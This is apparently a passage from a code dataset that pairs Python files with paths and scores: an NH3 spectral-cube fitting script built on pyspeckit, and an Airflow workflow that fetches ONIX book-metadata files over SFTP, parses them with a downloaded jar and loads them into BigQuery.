('PLANE2', 'TEX'),
('PLANE3', 'COLUMN'),
('PLANE4', 'SIGMA'),
('PLANE5', 'VELOCITY'),
('PLANE6', 'FORTHO'),
('PLANE7', 'eTKIN'),
('PLANE8', 'eTEX'),
('PLANE9', 'eCOLUMN'),
('PLANE10', 'eSIGMA'),
('PLANE11', 'eVELOCITY'),
('PLANE12', 'eFORTHO'),
('CDELT3', 1),
('CTYPE3', 'FITPAR'),
('CRVAL3', 0),
('CRPIX3', 1),
]
for key, val in header_params:
hdu.header.set(key, val)
def cubefit(target, multicore=1):
"""
Fit the NH3 (1,1) and (2,2) cubes for the requested target region.
Parameters
----------
target : str
Target name, ex 'G24051'
multicore : number, default 1
Number of cores to use in parallel spectral fitting
ext : str
Extra file extension
"""
def get_path(mol, imtype='image', ext=None):
img_ext = f'{imtype}.{ext}.fits' if ext is not None else f'{imtype}.fits'
modif = None if imtype == 'pb' else 'jfeather'
return PDir.vla_map_name(target, mol, modif=modif, ext=img_ext)
print(':: Reading in data')
image_11_cube = read_cube(get_path('nh3_11'))
pbcor_11_cube = read_cube(get_path('nh3_11', imtype='pbcor'))
image_mf_cube = read_cube(get_path('nh3_11', ext='mf'))
image_m0_hdul = fits.open(get_path('nh3_11', ext='mf0'))
image_m1_hdul = fits.open(get_path('nh3_11', ext='mf1'))
pbeam_11_cube = read_cube(get_path('nh3_11', imtype='pb'))
image_22_cube = read_cube(get_path('nh3_22'))
pbcor_22_cube = read_cube(get_path('nh3_22', imtype='pbcor'))
errmap = calc_errmap(image_11_cube, pbeam_11_cube)
# make mask and compute centroid guess from matched-filter-peak
mask = default_mask(image_m0_hdul)
ix_peak = calc_peak_index(image_m0_hdul)
snr_peak = calc_snr_peak(pbcor_11_cube, ix_peak, errmap)
vcen = np.squeeze(image_m1_hdul[0].data)
vmid = np.nanmedian(vcen[mask])
vmin = vmid - 5 # km/s
vmax = vmid + 5 # km/s
# set fit property initial guesses
stack = make_pyspeckit_cubestack([pbcor_11_cube, pbcor_22_cube], mask)
guesses = np.zeros((6,) + stack.cube.shape[1:], dtype=float)
guesses[0,:,:] = 12 # Kinetic temperature
guesses[1,:,:] = 3 # Excitation temperature
guesses[2,:,:] = 14.5 # log(Column density)
guesses[3,:,:] = 0.4 # Velocity dispersion
guesses[4,:,:] = vcen # Velocity centroid
guesses[5,:,:] = 0.0 # ortho-NH3 fraction
# perform fit
print(':: Beginning line fitting')
stack.fiteach(
fittype='cold_ammonia',
guesses=guesses,
integral=False,
verbose_level=3,
signal_cut=2,
fixed=[False, False, False, False, False, True],
limitedmin=[True, True, True, True, True, True],
minpars=[5.0, 2.8, 12.0, 0.04, vmin, 0.0],
maxpars=[0.0, 0.0, 17.0, 0.00, vmax, 1.0],
start_from_point=ix_peak,
use_neighbor_as_guess=False,
position_order=1/snr_peak,
errmap=errmap,
multicore=multicore,
)
# fix header and write out property cube
print(':: Writing results to file')
fitdata = np.concatenate([stack.parcube, stack.errcube])
fithdu = fits.PrimaryHDU(fitdata, header=stack.header)
insert_parcube_header_keywords(fithdu)
out_path = PDir.ROOT / Path(f'property_maps/{target}/{target}_nh3_parmap.fits')
fithdu.writeto(str(out_path), overwrite=True)
def cubefit_all():
for target in TARGETS:
if target in ('G285_mosaic',):
continue
cubefit(target, multicore=16)
def inspect_fit_results(target):
"""
Use the pyspeckit map fit viewer tool to inspect fits from the parameter
maps. Note that this has to be run with an ipython that is using a gui for
matplot, not agg.
"""
def get_cube(mol):
path = PDir.vla_map_name(target, mol, modif='jfeather',
ext='pbcor.fits')
cube = read_cube(path)
return cube
pbcor_11_cube = get_cube('nh3_11')
pbcor_22_cube = get_cube('nh3_22')
parmap_filen = f'property_maps/{target}/{target}_nh3_parmap.fits'
parmap_path = PDir.ROOT / Path(parmap_filen)
stack = make_pyspeckit_cubestack([pbcor_11_cube, pbcor_22_cube], None)
stack.xarr.velocity_convention = 'radio'
stack.load_model_fit(str(parmap_path), 6, fittype='cold_ammonia')
# Init special stacked ammonia spectrum viewer
vmid = VELOS[target]
stack.plot_special = pyspeckit.wrappers.fitnh3.plotter_override
stack.plot_special_kwargs = {
'fignum': 3,
'vrange': [vmid-50, vmid+50], # km/s
'show_hyperfine_components': False,
}
stack.has_fit[:,:] = stack.parcube[2,:,:] > 0
# Start the interactive fit viewer
plt.ion()
plt.close('all')
stack.mapplot(estimator=2, vmin=14.2, vmax=15.5)
plt.figure(3)
plt.show()
return stack | cube_fitting.py | import warnings
from pathlib import Path
import numpy as np
import pandas as pd
from scipy import stats
from skimage import morphology
from matplotlib import pyplot as plt
from matplotlib import (patheffects, colors)
import aplpy
import pyspeckit
from pyspeckit.spectrum.models import ammonia
import radio_beam
from astropy.io import fits
from astropy import units as u
from astropy import (convolution, coordinates, wcs)
from . import (PDir, read_cube, MOL_NAMES, RESTFREQS, TARGETS, VELOS)
# Percent point function, inverse of normal cumulative distribution function
MAD_K = 1 / stats.norm.ppf(0.75)
def calc_errmap(cube, pbeam_cube, chans=10):
"""
Calculate the image cube RMS using the (MAD * 1.4826) over the specified
number of channels at the start of the cube.
"""
values = np.ravel(cube.to(u.K)[:chans,:,:])
med = np.nanmedian(values)
mad = np.nanmedian(np.abs(med - values))
rms = MAD_K * mad
errmap = np.nan_to_num(rms / pbeam_cube[0,:,:].value)
return errmap
def default_mask(hdul, threshold=0.001):
"""
Parameters
----------
hdul : astropy.io.fits.hdu.hdulist.HDUList
threshold : number, default 0.001
Threshold chosen to be approximately 4-sigma from matched-filter cube
(mf) of G28539 NH3 (1,1) cube
"""
data = hdul[0].data.copy()
mask = np.nan_to_num(data) > threshold
mask = morphology.remove_small_objects(mask, min_size=40)
mask = morphology.opening(mask, morphology.disk(1))
return mask
def calc_peak_index(hdul):
data = hdul[0].data
ymax, xmax = np.unravel_index(np.nanargmax(data), data.shape)
return xmax, ymax
def calc_snr_peak(cube, ix, errmap):
"""
Calculate peak SNR from cube. Cube and error map should be consistent
depending on whether they have been corrected for primary beam attenuation.
The index ordering should match `calc_peak_index`.
Parameters
----------
cube : spectral_cube.SpectralCube
ix : tuple
errmap : np.ndarray
"""
spec = cube.to(u.K)[:,ix[1],ix[0]]
rms = errmap[ix[1],ix[0]]
snr = spec.max().value / rms
return snr
def make_pyspeckit_cubestack(cubes, mask):
"""
Converts the cubes to use a frequency axis and brightness temperature
units, then initializes the `pyspeckit.CubeStack`
Parameters
----------
cubes : list
mask : np.ndarray
"""
pysk_cubes = []
for cube in cubes:
cube = cube.with_spectral_unit(u.GHz).to(u.K)
pysk_cubes.append(pyspeckit.Cube(cube=cube, maskmap=mask))
stack = pyspeckit.CubeStack(pysk_cubes, maskmap=mask)
if not 'cold_ammonia' in stack.specfit.Registry.multifitters:
stack.specfit.Registry.add_fitter(
'cold_ammonia', ammonia.cold_ammonia_model(), 6)
return stack
def insert_parcube_header_keywords(hdu):
header_params = [
('PLANE1', 'TKIN'),
('PLANE2', 'TEX'),
('PLANE3', 'COLUMN'),
('PLANE4', 'SIGMA'),
('PLANE5', 'VELOCITY'),
('PLANE6', 'FORTHO'),
('PLANE7', 'eTKIN'),
('PLANE8', 'eTEX'),
('PLANE9', 'eCOLUMN'),
('PLANE10', 'eSIGMA'),
('PLANE11', 'eVELOCITY'),
('PLANE12', 'eFORTHO'),
('CDELT3', 1),
('CTYPE3', 'FITPAR'),
('CRVAL3', 0),
('CRPIX3', 1),
]
for key, val in header_params:
hdu.header.set(key, val)
def cubefit(target, multicore=1):
"""
Fit the NH3 (1,1) and (2,2) cubes for the requested target region.
Parameters
----------
target : str
Target name, ex 'G24051'
multicore : number, default 1
Number of cores to use in parallel spectral fitting
ext : str
Extra file extension
"""
def get_path(mol, imtype='image', ext=None):
img_ext = f'{imtype}.{ext}.fits' if ext is not None else f'{imtype}.fits'
modif = None if imtype == 'pb' else 'jfeather'
return PDir.vla_map_name(target, mol, modif=modif, ext=img_ext)
print(':: Reading in data')
image_11_cube = read_cube(get_path('nh3_11'))
pbcor_11_cube = read_cube(get_path('nh3_11', imtype='pbcor'))
image_mf_cube = read_cube(get_path('nh3_11', ext='mf'))
image_m0_hdul = fits.open(get_path('nh3_11', ext='mf0'))
image_m1_hdul = fits.open(get_path('nh3_11', ext='mf1'))
pbeam_11_cube = read_cube(get_path('nh3_11', imtype='pb'))
image_22_cube = read_cube(get_path('nh3_22'))
pbcor_22_cube = read_cube(get_path('nh3_22', imtype='pbcor'))
errmap = calc_errmap(image_11_cube, pbeam_11_cube)
# make mask and compute centroid guess from matched-filter-peak
mask = default_mask(image_m0_hdul)
ix_peak = calc_peak_index(image_m0_hdul)
snr_peak = calc_snr_peak(pbcor_11_cube, ix_peak, errmap)
vcen = np.squeeze(image_m1_hdul[0].data)
vmid = np.nanmedian(vcen[mask])
vmin = vmid - 5 # km/s
vmax = vmid + 5 # km/s
# set fit property initial guesses
stack = make_pyspeckit_cubestack([pbcor_11_cube, pbcor_22_cube], mask)
guesses = np.zeros((6,) + stack.cube.shape[1:], dtype=float)
guesses[0,:,:] = 12 # Kinetic temperature
guesses[1,:,:] = 3 # Excitation temperature
guesses[2,:,:] = 14.5 # log(Column density)
guesses[3,:,:] = 0.4 # Velocity dispersion
guesses[4,:,:] = vcen # Velocity centroid
guesses[5,:,:] = 0.0 # ortho-NH3 fraction
# perform fit
print(':: Beginning line fitting')
stack.fiteach(
fittype='cold_ammonia',
guesses=guesses,
integral=False,
verbose_level=3,
signal_cut=2,
fixed=[False, False, False, False, False, True],
limitedmin=[True, True, True, True, True, True],
minpars=[5.0, 2.8, 12.0, 0.04, vmin, 0.0],
maxpars=[0.0, 0.0, 17.0, 0.00, vmax, 1.0],
start_from_point=ix_peak,
use_neighbor_as_guess=False,
position_order=1/snr_peak,
errmap=errmap,
multicore=multicore,
)
# fix header and write out property cube
print(':: Writing results to file')
fitdata = np.concatenate([stack.parcube, stack.errcube])
fithdu = fits.PrimaryHDU(fitdata, header=stack.header)
insert_parcube_header_keywords(fithdu)
out_path = PDir.ROOT / Path(f'property_maps/{target}/{target}_nh3_parmap.fits')
fithdu.writeto(str(out_path), overwrite=True)
def cubefit_all():
for target in TARGETS:
if target in ('G285_mosaic',):
continue
cubefit(target, multicore=16)
def inspect_fit_results(target):
"""
Use the pyspeckit map fit viewer tool to inspect fits from the parameter
maps. Note that this has to be run with an ipython that is using a gui for
matplot, not agg.
"""
def get_cube(mol):
path = PDir.vla_map_name(target, mol, modif='jfeather',
ext='pbcor.fits')
cube = read_cube(path)
return cube
pbcor_11_cube = get_cube('nh3_11')
pbcor_22_cube = get_cube('nh3_22')
parmap_filen = f'property_maps/{target}/{target}_nh3_parmap.fits'
parmap_path = PDir.ROOT / Path(parmap_filen)
stack = make_pyspeckit_cubestack([pbcor_11_cube, pbcor_22_cube], None)
stack.xarr.velocity_convention = 'radio'
stack.load_model_fit(str(parmap_path), 6, fittype='cold_ammonia')
# Init special stacked ammonia spectrum viewer
vmid = VELOS[target]
stack.plot_special = pyspeckit.wrappers.fitnh3.plotter_override
stack.plot_special_kwargs = {
'fignum': 3,
'vrange': [vmid-50, vmid+50], # km/s
'show_hyperfine_components': False,
}
stack.has_fit[:,:] = stack.parcube[2,:,:] > 0
# Start the interactive fit viewer
plt.ion()
plt.close('all')
stack.mapplot(estimator=2, vmin=14.2, vmax=15.5)
plt.figure(3)
plt.show()
return stack | 0.804713 | 0.411466 |
# Author: <NAME>
import logging
import os
import re
import shutil
import subprocess
from typing import Dict, List, Optional
import pendulum
from airflow.exceptions import AirflowException
from airflow.models.taskinstance import TaskInstance
from google.cloud.bigquery import SourceFormat
from oaebu_workflows.config import schema_folder as default_schema_folder
from observatory.platform.utils.airflow_utils import AirflowConns, AirflowVars
from observatory.platform.utils.config_utils import observatory_home
from observatory.platform.utils.http_download import download_file
from observatory.platform.utils.proc_utils import wait_for_process
from observatory.platform.utils.workflow_utils import (
SftpFolders,
blob_name,
bq_load_shard_v2,
make_dag_id,
make_org_id,
make_sftp_connection,
table_ids_from_path,
)
from observatory.platform.workflows.snapshot_telescope import (
SnapshotRelease,
SnapshotTelescope,
)
class OnixRelease(SnapshotRelease):
DOWNLOAD_FILES_REGEX = r"^.*\.(onx|xml)$"
TRANSFORM_FILES_REGEX = "onix.jsonl"
ONIX_PARSER_NAME = "coki-onix-parser.jar"
ONIX_PARSER_URL = "https://github.com/The-Academic-Observatory/onix-parser/releases/download/v1.2/coki-onix-parser-1.2-SNAPSHOT-shaded.jar"
ONIX_PARSER_MD5 = "bf223124df9e93cdb1cbb5d7dc71080c"
def __init__(
self,
*,
dag_id: str,
release_date: pendulum.DateTime,
file_name: str,
organisation_name: str,
download_bucket: str,
transform_bucket: str,
):
"""Construct an OnixRelease.
:param dag_id: the DAG id.
:param release_date: the release date.
:param file_name: the ONIX file name.
:param organisation_name: the organisation name.
:param download_bucket: the download bucket name.
:param transform_bucket: the transform bucket name.
"""
self.organisation_name = organisation_name
self._download_bucket = download_bucket
self._transform_bucket = transform_bucket
super().__init__(dag_id, release_date, self.DOWNLOAD_FILES_REGEX, None, self.TRANSFORM_FILES_REGEX)
self.organisation_name = organisation_name
self.file_name = file_name
self.sftp_folders = SftpFolders(dag_id, organisation_name)
@property
def download_file(self) -> str:
"""Get the path to the downloaded file.
:return: the file path.
"""
return os.path.join(self.download_folder, self.file_name)
@property
def download_bucket(self):
"""The download bucket name.
:return: the download bucket name.
"""
return self._download_bucket
@property
def transform_bucket(self):
"""The transform bucket name.
:return: the transform bucket name.
"""
return self._transform_bucket
def move_files_to_in_progress(self):
"""Move ONIX file to in-progress folder
:return: None.
"""
self.sftp_folders.move_files_to_in_progress(self.file_name)
def download(self):
"""Downloads an individual ONIX release from the SFTP server.
:return: None.
"""
with make_sftp_connection() as sftp:
in_progress_file = os.path.join(self.sftp_folders.in_progress, self.file_name)
sftp.get(in_progress_file, localpath=self.download_file)
def transform(self):
"""Transform ONIX release.
:return: None.
"""
# Download ONIX Parser
bin_path = observatory_home("bin")
filename = os.path.join(bin_path, self.ONIX_PARSER_NAME)
download_file(
url=self.ONIX_PARSER_URL,
filename=filename,
hash=self.ONIX_PARSER_MD5,
)
# Transform release
cmd = (
f"java -jar {self.ONIX_PARSER_NAME} {self.download_folder} {self.transform_folder} "
f"{make_org_id(self.organisation_name)}"
)
p = subprocess.Popen(
cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, executable="/bin/bash", cwd=bin_path
)
stdout, stderr = wait_for_process(p)
if stdout:
logging.info(stdout)
if p.returncode != 0:
raise AirflowException(f"bash command failed `{cmd}`: {stderr}")
# Rename file to onix.jsonl
shutil.move(
os.path.join(self.transform_folder, "full.jsonl"),
os.path.join(self.transform_folder, self.TRANSFORM_FILES_REGEX),
)
def move_files_to_finished(self):
"""Move ONIX file to finished folder
:return: None.
"""
self.sftp_folders.move_files_to_finished(self.file_name)
def list_release_info(
*,
sftp_upload_folder: str,
date_regex: str,
date_format: str,
) -> List[Dict]:
"""List the ONIX release info, a release date and a file name for each release.
:param sftp_upload_folder: the SFTP upload folder.
:param date_regex: the regex for extracting the date from the filename.
:param date_format: the strptime date format string for converting the date into a pendulum datetime object.
:return: the release information.
"""
results = []
with make_sftp_connection() as sftp:
sftp.makedirs(sftp_upload_folder)
files = sftp.listdir(sftp_upload_folder)
for file_name in files:
if re.match(OnixRelease.DOWNLOAD_FILES_REGEX, file_name):
try:
date_str = re.search(date_regex, file_name).group(0)
except AttributeError:
msg = f"Could not find date with pattern `{date_regex}` in file name {file_name}"
logging.error(msg)
raise AirflowException(msg)
results.append({"release_date": date_str, "file_name": file_name})
return results
class OnixTelescope(SnapshotTelescope):
DAG_ID_PREFIX = "onix"
def __init__(
self,
*,
organisation_name: str,
project_id: str,
download_bucket: str,
transform_bucket: str,
dataset_location: str,
date_regex: str,
date_format: str,
dag_id: Optional[str] = None,
start_date: pendulum.DateTime = pendulum.datetime(2021, 3, 28),
schedule_interval: str = "@weekly",
dataset_id: str = "onix",
schema_folder: str = default_schema_folder(),
source_format: str = SourceFormat.NEWLINE_DELIMITED_JSON,
catchup: bool = False,
airflow_vars: List = None,
airflow_conns: List = None,
):
"""Construct an OnixTelescope instance.
:param organisation_name: the organisation name.
:param project_id: the Google Cloud project id.
:param download_bucket: the Google Cloud download bucket.
:param transform_bucket: the Google Cloud transform bucket.
:param dataset_location: the location for the BigQuery dataset.
:param date_regex: a regular expression for extracting a date string from an ONIX file name.
:param date_format: the Python strptime date format string for transforming the string extracted with
`date_regex` into a date object.
:param dag_id: the id of the DAG, by default this is automatically generated based on the DAG_ID_PREFIX
and the organisation name.
:param start_date: the start date of the DAG.
:param schedule_interval: the schedule interval of the DAG.
:param dataset_id: the BigQuery dataset id.
:param schema_folder: the SQL schema path.
:param source_format: the format of the data to load into BigQuery.
:param catchup: whether to catchup the DAG or not.
:param airflow_vars: list of airflow variable keys, for each variable, it is checked if it exists in airflow.
:param airflow_conns: list of airflow connection keys, for each connection, it is checked if it exists in airflow.
"""
if airflow_vars is None:
airflow_vars = [
AirflowVars.DATA_PATH,
AirflowVars.PROJECT_ID,
AirflowVars.DATA_LOCATION,
AirflowVars.DOWNLOAD_BUCKET,
AirflowVars.TRANSFORM_BUCKET,
]
if airflow_conns is None:
airflow_conns = [AirflowConns.SFTP_SERVICE]
if dag_id is None:
dag_id = make_dag_id(self.DAG_ID_PREFIX, organisation_name)
dataset_description = f"{organisation_name} ONIX feeds"
self.organisation_name = organisation_name
self.project_id = project_id
self.download_bucket = download_bucket
self.transform_bucket = transform_bucket
self.dataset_location = dataset_location
self.date_regex = date_regex
self.date_format = date_format
super().__init__(
dag_id,
start_date,
schedule_interval,
dataset_id,
schema_folder,
source_format=source_format,
dataset_description=dataset_description,
catchup=catchup,
airflow_vars=airflow_vars,
airflow_conns=airflow_conns,
)
# self.organisation = organisation
self.add_setup_task(self.check_dependencies)
self.add_setup_task(self.list_release_info)
self.add_task(self.move_files_to_in_progress)
self.add_task(self.download)
self.add_task(self.upload_downloaded)
self.add_task(self.transform)
self.add_task(self.upload_transformed)
self.add_task(self.bq_load)
self.add_task(self.move_files_to_finished)
self.add_task(self.cleanup)
def list_release_info(self, **kwargs):
"""Lists all ONIX releases and publishes their file names as an XCom.
:param kwargs: the context passed from the BranchPythonOperator. See
https://airflow.apache.org/docs/stable/macros-ref.html
for a list of the keyword arguments that are passed to this argument.
:return: the identifier of the task to execute next.
"""
# List release dates
sftp_upload_folder = SftpFolders(self.dag_id, self.organisation_name).upload
release_info = list_release_info(
sftp_upload_folder=sftp_upload_folder, date_regex=self.date_regex, date_format=self.date_format
)
# Publish XCom
continue_dag = len(release_info)
if continue_dag:
ti: TaskInstance = kwargs["ti"]
execution_date = kwargs["execution_date"]
ti.xcom_push(OnixTelescope.RELEASE_INFO, release_info, execution_date)
return continue_dag
def make_release(self, **kwargs) -> List[OnixRelease]:
"""Make release instances. The release is passed as an argument to the function (TelescopeFunction) that is
called in 'task_callable'.
:param kwargs: the context passed from the PythonOperator. See
https://airflow.apache.org/docs/stable/macros-ref.html for a list of the keyword arguments that are
passed to this argument.
:return: a list of GeonamesRelease instances.
"""
ti: TaskInstance = kwargs["ti"]
records = ti.xcom_pull(
key=OnixTelescope.RELEASE_INFO, task_ids=self.list_release_info.__name__, include_prior_dates=False
)
releases = []
for record in records:
release_date = pendulum.parse(record["release_date"])
file_name = record["file_name"]
releases.append(
OnixRelease(
dag_id=self.dag_id,
release_date=release_date,
file_name=file_name,
organisation_name=self.organisation_name,
download_bucket=self.download_bucket,
transform_bucket=self.transform_bucket,
)
)
return releases
def move_files_to_in_progress(self, releases: List[OnixRelease], **kwargs):
"""Move ONIX files to SFTP in-progress folder.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.move_files_to_in_progress()
def download(self, releases: List[OnixRelease], **kwargs):
"""Task to download the ONIX releases.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.download()
def transform(self, releases: List[OnixRelease], **kwargs):
"""Task to transform the ONIX releases.
:param releases: a list of ONIX releases.
:return: None.
"""
# Transform each release
for release in releases:
release.transform()
def bq_load(self, releases: List[SnapshotRelease], **kwargs):
"""Task to load each transformed release to BigQuery.
The table_id is set to the file name without the extension.
:param releases: a list of releases.
:return: None.
"""
# Load each transformed release
for release in releases:
for transform_path in release.transform_files:
transform_blob = blob_name(transform_path)
table_id, _ = table_ids_from_path(transform_path)
bq_load_shard_v2(
self.schema_folder,
self.project_id,
self.transform_bucket,
transform_blob,
self.dataset_id,
self.dataset_location,
table_id,
release.release_date,
self.source_format,
prefix=self.schema_prefix,
schema_version=self.schema_version,
dataset_description=self.dataset_description,
**self.load_bigquery_table_kwargs,
)
def move_files_to_finished(self, releases: List[OnixRelease], **kwargs):
"""Move ONIX files to SFTP finished folder.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.move_files_to_finished() | oaebu_workflows/workflows/onix_telescope.py |
# Author: <NAME>
import logging
import os
import re
import shutil
import subprocess
from typing import Dict, List, Optional
import pendulum
from airflow.exceptions import AirflowException
from airflow.models.taskinstance import TaskInstance
from google.cloud.bigquery import SourceFormat
from oaebu_workflows.config import schema_folder as default_schema_folder
from observatory.platform.utils.airflow_utils import AirflowConns, AirflowVars
from observatory.platform.utils.config_utils import observatory_home
from observatory.platform.utils.http_download import download_file
from observatory.platform.utils.proc_utils import wait_for_process
from observatory.platform.utils.workflow_utils import (
SftpFolders,
blob_name,
bq_load_shard_v2,
make_dag_id,
make_org_id,
make_sftp_connection,
table_ids_from_path,
)
from observatory.platform.workflows.snapshot_telescope import (
SnapshotRelease,
SnapshotTelescope,
)
class OnixRelease(SnapshotRelease):
DOWNLOAD_FILES_REGEX = r"^.*\.(onx|xml)$"
TRANSFORM_FILES_REGEX = "onix.jsonl"
ONIX_PARSER_NAME = "coki-onix-parser.jar"
ONIX_PARSER_URL = "https://github.com/The-Academic-Observatory/onix-parser/releases/download/v1.2/coki-onix-parser-1.2-SNAPSHOT-shaded.jar"
ONIX_PARSER_MD5 = "bf223124df9e93cdb1cbb5d7dc71080c"
def __init__(
self,
*,
dag_id: str,
release_date: pendulum.DateTime,
file_name: str,
organisation_name: str,
download_bucket: str,
transform_bucket: str,
):
"""Construct an OnixRelease.
:param dag_id: the DAG id.
:param release_date: the release date.
:param file_name: the ONIX file name.
:param organisation_name: the organisation name.
:param download_bucket: the download bucket name.
:param transform_bucket: the transform bucket name.
"""
self.organisation_name = organisation_name
self._download_bucket = download_bucket
self._transform_bucket = transform_bucket
super().__init__(dag_id, release_date, self.DOWNLOAD_FILES_REGEX, None, self.TRANSFORM_FILES_REGEX)
self.organisation_name = organisation_name
self.file_name = file_name
self.sftp_folders = SftpFolders(dag_id, organisation_name)
@property
def download_file(self) -> str:
"""Get the path to the downloaded file.
:return: the file path.
"""
return os.path.join(self.download_folder, self.file_name)
@property
def download_bucket(self):
"""The download bucket name.
:return: the download bucket name.
"""
return self._download_bucket
@property
def transform_bucket(self):
"""The transform bucket name.
:return: the transform bucket name.
"""
return self._transform_bucket
def move_files_to_in_progress(self):
"""Move ONIX file to in-progress folder
:return: None.
"""
self.sftp_folders.move_files_to_in_progress(self.file_name)
def download(self):
"""Downloads an individual ONIX release from the SFTP server.
:return: None.
"""
with make_sftp_connection() as sftp:
in_progress_file = os.path.join(self.sftp_folders.in_progress, self.file_name)
sftp.get(in_progress_file, localpath=self.download_file)
def transform(self):
"""Transform ONIX release.
:return: None.
"""
# Download ONIX Parser
bin_path = observatory_home("bin")
filename = os.path.join(bin_path, self.ONIX_PARSER_NAME)
download_file(
url=self.ONIX_PARSER_URL,
filename=filename,
hash=self.ONIX_PARSER_MD5,
)
# Transform release
cmd = (
f"java -jar {self.ONIX_PARSER_NAME} {self.download_folder} {self.transform_folder} "
f"{make_org_id(self.organisation_name)}"
)
p = subprocess.Popen(
cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, executable="/bin/bash", cwd=bin_path
)
stdout, stderr = wait_for_process(p)
if stdout:
logging.info(stdout)
if p.returncode != 0:
raise AirflowException(f"bash command failed `{cmd}`: {stderr}")
# Rename file to onix.jsonl
shutil.move(
os.path.join(self.transform_folder, "full.jsonl"),
os.path.join(self.transform_folder, self.TRANSFORM_FILES_REGEX),
)
def move_files_to_finished(self):
"""Move ONIX file to finished folder
:return: None.
"""
self.sftp_folders.move_files_to_finished(self.file_name)
def list_release_info(
*,
sftp_upload_folder: str,
date_regex: str,
date_format: str,
) -> List[Dict]:
"""List the ONIX release info, a release date and a file name for each release.
:param sftp_upload_folder: the SFTP upload folder.
:param date_regex: the regex for extracting the date from the filename.
:param date_format: the strptime date format string for converting the date into a pendulum datetime object.
:return: the release information.
"""
results = []
with make_sftp_connection() as sftp:
sftp.makedirs(sftp_upload_folder)
files = sftp.listdir(sftp_upload_folder)
for file_name in files:
if re.match(OnixRelease.DOWNLOAD_FILES_REGEX, file_name):
try:
date_str = re.search(date_regex, file_name).group(0)
except AttributeError:
msg = f"Could not find date with pattern `{date_regex}` in file name {file_name}"
logging.error(msg)
raise AirflowException(msg)
results.append({"release_date": date_str, "file_name": file_name})
return results
class OnixTelescope(SnapshotTelescope):
DAG_ID_PREFIX = "onix"
def __init__(
self,
*,
organisation_name: str,
project_id: str,
download_bucket: str,
transform_bucket: str,
dataset_location: str,
date_regex: str,
date_format: str,
dag_id: Optional[str] = None,
start_date: pendulum.DateTime = pendulum.datetime(2021, 3, 28),
schedule_interval: str = "@weekly",
dataset_id: str = "onix",
schema_folder: str = default_schema_folder(),
source_format: str = SourceFormat.NEWLINE_DELIMITED_JSON,
catchup: bool = False,
airflow_vars: List = None,
airflow_conns: List = None,
):
"""Construct an OnixTelescope instance.
:param organisation_name: the organisation name.
:param project_id: the Google Cloud project id.
:param download_bucket: the Google Cloud download bucket.
:param transform_bucket: the Google Cloud transform bucket.
:param dataset_location: the location for the BigQuery dataset.
:param date_regex: a regular expression for extracting a date string from an ONIX file name.
:param date_format: the Python strptime date format string for transforming the string extracted with
`date_regex` into a date object.
:param dag_id: the id of the DAG, by default this is automatically generated based on the DAG_ID_PREFIX
and the organisation name.
:param start_date: the start date of the DAG.
:param schedule_interval: the schedule interval of the DAG.
:param dataset_id: the BigQuery dataset id.
:param schema_folder: the SQL schema path.
:param source_format: the format of the data to load into BigQuery.
:param catchup: whether to catchup the DAG or not.
:param airflow_vars: list of airflow variable keys, for each variable, it is checked if it exists in airflow.
:param airflow_conns: list of airflow connection keys, for each connection, it is checked if it exists in airflow.
"""
if airflow_vars is None:
airflow_vars = [
AirflowVars.DATA_PATH,
AirflowVars.PROJECT_ID,
AirflowVars.DATA_LOCATION,
AirflowVars.DOWNLOAD_BUCKET,
AirflowVars.TRANSFORM_BUCKET,
]
if airflow_conns is None:
airflow_conns = [AirflowConns.SFTP_SERVICE]
if dag_id is None:
dag_id = make_dag_id(self.DAG_ID_PREFIX, organisation_name)
dataset_description = f"{organisation_name} ONIX feeds"
self.organisation_name = organisation_name
self.project_id = project_id
self.download_bucket = download_bucket
self.transform_bucket = transform_bucket
self.dataset_location = dataset_location
self.date_regex = date_regex
self.date_format = date_format
super().__init__(
dag_id,
start_date,
schedule_interval,
dataset_id,
schema_folder,
source_format=source_format,
dataset_description=dataset_description,
catchup=catchup,
airflow_vars=airflow_vars,
airflow_conns=airflow_conns,
)
# self.organisation = organisation
self.add_setup_task(self.check_dependencies)
self.add_setup_task(self.list_release_info)
self.add_task(self.move_files_to_in_progress)
self.add_task(self.download)
self.add_task(self.upload_downloaded)
self.add_task(self.transform)
self.add_task(self.upload_transformed)
self.add_task(self.bq_load)
self.add_task(self.move_files_to_finished)
self.add_task(self.cleanup)
def list_release_info(self, **kwargs):
"""Lists all ONIX releases and publishes their file names as an XCom.
:param kwargs: the context passed from the BranchPythonOperator. See
https://airflow.apache.org/docs/stable/macros-ref.html
for a list of the keyword arguments that are passed to this argument.
:return: the identifier of the task to execute next.
"""
# List release dates
sftp_upload_folder = SftpFolders(self.dag_id, self.organisation_name).upload
release_info = list_release_info(
sftp_upload_folder=sftp_upload_folder, date_regex=self.date_regex, date_format=self.date_format
)
# Publish XCom
continue_dag = len(release_info)
if continue_dag:
ti: TaskInstance = kwargs["ti"]
execution_date = kwargs["execution_date"]
ti.xcom_push(OnixTelescope.RELEASE_INFO, release_info, execution_date)
return continue_dag
def make_release(self, **kwargs) -> List[OnixRelease]:
"""Make release instances. The release is passed as an argument to the function (TelescopeFunction) that is
called in 'task_callable'.
:param kwargs: the context passed from the PythonOperator. See
https://airflow.apache.org/docs/stable/macros-ref.html for a list of the keyword arguments that are
passed to this argument.
:return: a list of GeonamesRelease instances.
"""
ti: TaskInstance = kwargs["ti"]
records = ti.xcom_pull(
key=OnixTelescope.RELEASE_INFO, task_ids=self.list_release_info.__name__, include_prior_dates=False
)
releases = []
for record in records:
release_date = pendulum.parse(record["release_date"])
file_name = record["file_name"]
releases.append(
OnixRelease(
dag_id=self.dag_id,
release_date=release_date,
file_name=file_name,
organisation_name=self.organisation_name,
download_bucket=self.download_bucket,
transform_bucket=self.transform_bucket,
)
)
return releases
def move_files_to_in_progress(self, releases: List[OnixRelease], **kwargs):
"""Move ONIX files to SFTP in-progress folder.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.move_files_to_in_progress()
def download(self, releases: List[OnixRelease], **kwargs):
"""Task to download the ONIX releases.
:param releases: a list of ONIX releases.
:return: None.
"""
for release in releases:
release.download()
def transform(self, releases: List[OnixRelease], **kwargs):
"""Task to transform the ONIX releases.
:param releases: a list of ONIX releases.
:return: None.
"""
# Transform each release
for release in releases:
release.transform()
def bq_load(self, releases: List[SnapshotRelease], **kwargs):
"""Task to load each transformed release to BigQuery.
